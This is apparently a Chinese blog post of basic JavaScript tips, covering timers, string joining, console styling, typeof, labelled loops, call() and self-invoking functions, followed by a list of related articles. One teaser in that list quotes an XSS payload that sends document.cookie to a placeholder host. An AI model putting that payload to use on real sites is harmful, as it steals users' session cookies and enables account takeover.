作为前端基本工作每天都会用到JS...但是我们对JS真的都了解吗,或者说有什么tips是我们不知道的呢。。

So..此文关于JS的几点tips.....

一:定时器(可传多个参数)

首先是一个一般的定时器,一般我们使用就用到定时器的2个参数,一个是function函数,一个是时间。

setTimeout(function(){  //函数
alert(1);
},2000) //时间

但是其实定时器有很多个参数参数,tips:

setTimeout(function(num){  //传一个形参
alert(num);
},2000,123) //回调参数

二:拼接字符串

在工作中经常会遇到拼接字符串的问题,比如我们给一个body元素添加内容:

window.onload=function(){
document.body.innerHTML='<div>div</div><span>span</span></p>p</p>123';
}

当这些字符串在一行上的时候,这样添加没有问题,如果我们添加的内容过多需要这行的时候,一般是这样拼接的:

window.onload=function(){
document.body.innerHTML=
'<div>div</div>'+
'<span>span</span>'+
'</p>p</p>'+
'123';
}

这种普遍方法妥妥的,一定问题都没。

下面是一种也许不那么常用的tips:

window.onload=function(){
document.body.innerHTML=
'<div>div</div>\ //在字符后天加一个反斜杠
<span>span</span>\
</p>p</p>\
123';
}

一样,妥妥的,木有一点问题!

三:Console.log()  

主要用于打印,调试信息,首先,在调试台输出一个hallo

<script>
var a = 'hallo';
console.log(a);
</script>

OK,没有问题,其实我们不但可以输出一个字符, 还可以输出图像,样式。 我们现在给这个hallo添加样式

<script>
var a = 'hallo';
console.log('%c'+a,'font-size:400%;background:blue;color:red;');
</script>

挺靠谱~

四:tipeof

这个平时常用,用于检测数据类型的,一般这么用

var a = [];
alert(typeof a) //用空格连接,弹出object

还可以这么用

var a = [];
alert(typeof(a)) //用()连接,弹出object

五:嵌套for循环

首先定义2个for循环

for(var i=0;i<5;i++){   //i循环
for(var j=0;j<1;j++){ //j循环
if(i==3){
break; //没有跳出i循环, 只是跳过了3.
}
alert(i);
}
}

有时候我们需要跳出整个大的循环,so

a:for(var i=0;i<5;i++){   //给循环一个名称
for(var j=0;j<1;j++){
if(i==3){
break a; //跳出这个循环
}
alert(i);
}
}

六:for循环

1.最常用

for(var i=0;i<5;i++){  //3个值
alert(i)
}

2.也常用

var i = 0;  //外部定义i
for(;i<5;i++){ //2个值
alert(i)
}

3.不常用

var i = 0;
for(;;){ //0个值
alert(i)
if(++i>=5){ //需if判断,不然死循环
break;
}
}

七:call

var obj = {
a : function(){
alert(this)
}
}
var arr = [1,2,3];
obj.a(); //this指向obj

如果要使this指向arr,只需call(arr)

obj.a.call(arr);

如果call()里面没有指向,自动指向window。

八:匿名函数自执行

错误写法

function(){
alert(123);
}();

正确写法 加(小括号)

(function(){
alert(123);
})(); //自动执行alert();

如果不想加小括号又想自执行,可以这样

!function(){
alert(123);
}();

加运算符,也是不会报错,不但可以加!,还可以~,或者+ (统统都不报错了)

九:创建对象

一般

var arr = new Array();
alert(arr.length);

其实可以不用对象后面的();

var arr = new Array;
alert(arr.length);

其实都是很多很小很小很小的细节方面,写的更少,做的更多,多么愉悦的一件事哈!

最后,细节决定成败! \ 0.0 /

关于JS的几点TIPS的更多相关文章

  1. js(jQuery)tips

    一:页面加上$(function(){***内容***})与不加的区别 1.这个是DOM加载完之后再加载JS代码,你的JS如果放在文档后面可能一样,但是如果你要是把JS放在head里面就有差别了(放在 ...

  2. Frontend Development

    原文链接: https://github.com/dypsilon/frontend-dev-bookmarks Frontend Development Looking for something ...

  3. 万物皆对象的JavaScript

    写在前面: 经过前段时间对于H5语言的学习,开始慢慢适应现在的生活节奏和代码语言.从一开始的毫无头绪到现在可以大概地写出部分的网站静态页面,用了两个周的时间.作为一个之前从未接触过计算机语言的初学者来 ...

  4. Struts+Spring+Hibernate项目整合AJAX+JSON

    1.什么是AJAX AJAX是 "Asynchronous JavaScript and XML" 的简称,即异步的JavaScript和XML. 所谓异步,就是提交一个请求不必等 ...

  5. 《前端之路》之 Babel 下一代 JavaScript 语法编译器

    写本章的内容的出发点主要是 为了对于之前关于 JS 版本的一个总结,在之前的开发中,我们始终对于 ECMAScript 的版本的更新不够重视,以至于在后面的 开发过程中,我们始终会被各种新奇的语法打断 ...

  6. vuecli开发项目,文件打包后,appjs/vendorjs文件过大

    项目上线后,浏览器第一次加载会特别特别慢,network中看到vendorjs文件1.9M,不慢才怪. echarts按需引入后,也有1.1M左右,由于对vue脚手架理解不深,自己扒了大量的文档,又测 ...

  7. layer.js中layer.tips

    <script src="~/Content/js/layer/layer.js"></script> layer.tips('名称不能为空', '#pro ...

  8. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  9. JS Bin Tips and Bits • About

    JS Bin Tips and Bits • About   About Who built this? JS Bin was built by Remy Sharp and is completel ...

随机推荐

  1. CentOS7安装mongoDB数据库

    CentOS7安装mongoDB数据库 时间:2015-03-03 16:45来源:blog.csdn.net 作者:进击的木偶 举报 点击:8795次 mongoDB是目前发展比较好的NOSQL数据 ...

  2. WPF元素可视化效果

    在WPF中设置元素的可视化效果主要用到BlurEffect类和DropShadowEffect类.(目前只学到这两个,哈哈) 1.BlurEffect类 命名空间: System.Windows.Me ...

  3. POJ3254Corn Fields(状态压缩DP入门)

    题目链接 题意:一个矩阵里有很多格子,每个格子有两种状态,可以放牧和不可以放牧,可以放牧用1表示,否则用0表示,在这块牧场放牛,要求两个相邻的方格不能同时放牛,即牛与牛不能相邻.问有多少种放牛方案(一 ...

  4. [NOIP2014] 解方程&加强版 (bzoj3751 & vijos1915)

    大概有$O(m)$,$O(n\sqrt{nm})$,$O(n\sqrt{m})$的3个算法,其中后2个可以过加强版.代码是算法3,注意bzoj的数据卡掉了小于20000的质数. #include< ...

  5. SQL Server 2012 安装

    SQL Server 2012 安装过程很漫长, 里面很多界面不一一截取了,我分别在win7 企业版 64位 和 win10专业版SP1 64位 装了SQL Server 2012 ,都没有问题. 1 ...

  6. break; continue; goto; return在循环中的应用

    1. break表示跳出循环,程序指向循环体后的第一条语句: ; ) { ) break; console.writeline("{0}",i++); } console.read ...

  7. asp.net js 倒计时总秒数量 和 排序

    Edit in JSFiddle JavaScript HTML CSS Result h1 { font-family: "微软雅黑"; font-size: 40px; mar ...

  8. restClient访问SSL

    IRestClient client = new RestClient("https://xxx.com/aa/bb"); "; ); ServicePointManag ...

  9. IIS------配置错误:不能在此路径中使用此配置节

    转载: http://wenda.so.com/q/1414673956725716 因为 IIS 采用了更安全的 web.config 管理机制,默认情况下会锁住配置项不允许更改.运行命令行 %wi ...

  10. spring-boot-note

    1 java配置和注解配置相结合,不需要任何的xml配置即可 2 spring tool suite 3 src/main/resources/banner.txt http://patorjk.co ...